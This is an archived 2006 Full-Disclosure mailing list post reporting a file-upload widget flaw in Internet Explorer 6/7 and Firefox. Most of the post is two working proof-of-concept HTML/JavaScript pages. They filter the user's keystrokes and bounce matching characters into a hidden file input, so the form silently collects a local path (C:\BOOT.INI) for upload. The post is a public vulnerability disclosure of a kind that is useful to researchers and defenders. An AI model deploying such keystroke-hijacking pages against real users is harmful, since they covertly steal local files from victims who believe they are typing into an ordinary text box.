

# [Full-disclosure] file upload widgets in IE and Firefox have issues

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2006-06/msg00144.html>

---

- *From:* Charles McAuley <[cmcauley@xxxxxxxxxxxxxxxxxxxxxxxxxxxx](mailto:cmcauley@xxxxxxxxxxxxxxxxxxxxxxxxxxxx)>
  - *Date:* Mon, 05 Jun 2006 13:17:08 -0400
- 

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

Hey all,

aside from the new file upload vulnerability in Firefox 1.5.0.3 and below, I discovered two others a year ago (one in IE, the other in Firefox) in the same component. I'm a little obsessed with the file input widget.

Since then i've managed to lose my email, but the response I got back from Microsoft was basically

"Thank you, we'll put it in IE 7.

p.s. you might want to check in with firefox, i think someone reported this a few years ago and they were vulnerable too.

kthxbye"

The problem is that in both IE and Firefox you can filter the keystrokes entered in a form and 'bounce' the input over to the file input box, and then bounce back to previous text entry, making it appear as if nothing has happened. Yes this is minor, but a conceivable avenue of attack.

Anyways, my bug (No. 290478) to firefox was marked a dupe of a bug that dated back to 2000 (No. 56236). This stuff is publicly documented/available, but you have to know what your looking for. Hidden in plain site you could say.

anyways, onto the code:

**FIREFOX:**

Instructions:

Copy paste this into an editor. Load in firefox. click in text box on right pane. type the letter 'c', notice it appear in file input box.

Press the letter 'a', notice it not appear. press ':', appears.

Will filter out the string "c:\boot.ini".

## [Full-disclosure] file upload widgets in IE and Firefox have issues

```
<HTML>
<HEAD>
<style type="text/css">
.first {
}
.second {
color: white;
background-color: white;
opacity: 0;
}
</style>
<SCRIPT>
//document.onKeyDown = doKeyPress;

//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\\\BOOT.INI";
//var i=mystring.length-1;
var i=0;
function doKeyPress(chucky)
{
saved = chucky.which;
//alert('pressed ' + String.fromCharCode(saved) + '(' + saved + ')');
if (mystring[i] != String.fromCharCode(saved).toUpperCase() ||
i > mystring.length-1) {
return false;
}
i++;
return true;
};
function doKeyUp () {

document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();

}

</SCRIPT>
</HEAD>
<BODY >
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="return doKeyPress(event);">
<input name=txt id='txt' type=text value="
OnKeyDown="document.forms[0].fileupload.focus();"
onClick="">
<input type=button value="invisible"
onclick="document.forms[0].fileupload.className='second';">
```

## [Full-disclosure] file upload widgets in IE and Firefox have issues

```
<input type=button value="visible"  
onclick="document.forms[0].fileupload.className='first';">
```

```
</FORM>  
</BODY>  
</HTML>
```

INTERNET EXPLORER 6 + 7:

Description: Same thing as above.

Instructions: turn on CAPSLOCK (lame). click in text box. press 'I'.  
press 'N', press 'I' press '.' etc.... will filter out C:\BOOT.INI.

CODE:

```
<HTML>  
<HEAD>  
<SCRIPT>  
//document.onKeyDown = doKeyPress;  
  
//document.onKeyUp = doKeyUp;  
var saved;  
var e ;  
var mystring = "C:\\BOOT.INI";  
var i=mystring.length-1;  
  
function doKeyPress () {  
e = window.event;  
saved = e.keyCode;  
window.status = "e.keyCode == " + e.keyCode + "character is " +  
mystring.charCodeAt(i);  
if(e.keyCode != mystring.charCodeAt(i))  
{  
//e.keyCode =0;  
e.returnValue=false;  
e.cancelBubble=true;  
}  
else {  
i--;  
}  
document.forms[0].fileupload.focus();  
  
}  
  
function doKeyUp () {  
  
document.forms[0].txt.value += String.fromCharCode(saved);  
document.forms[0].txt.focus();
```

## [Full-disclosure] file upload widgets in IE and Firefox have issues

```
}

function switchtype() {
/* var e = document.getElementById('txt');
document.forms[0].txt.setAttribute("type", "file");
e.setAttribute("value", "asfasfd");
*/
}

function fux0rKeys() {
}
</SCRIPT>
</HEAD>
<BODY onload="document.forms[0].txt.value='sometext';
document.forms[0].fileupload.value='asdfsdfadsf';">
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="doKeyPress();">
<input name=txt id='txt' type=text value='asdfsdfasdf'
OnKeyDown="document.forms[0].fileupload.focus();"
asdfnKeyDown="document.forms[0].txt.fireEvent('onKeyPress');"
onClick=""> visible
</FORM>
</BODY>
</HTML>
```

feel free to shoot any questions at me/the group about it. I wrote this stuff over a year ago, and my javascript's never been that good in the first place.

### SOLUTION:

Please please please please please IE and Firefox. Stop treating the file input box the way you do. There can be more imaginative/attractive ways to displaying a file chooser that have less exposure to attack.

--chuck

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.4.2.2 (GNU/Linux)

iD8DBQFEhGcQyZFfwQJZqy8RAs1UAKCWVKxkLIUJp9BnBa+6+uG+HfPv6ACeO2oz  
qWQEaJxl62PwzKd7c0ziOjg=

=I7HM

-----END PGP SIGNATURE-----

---

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>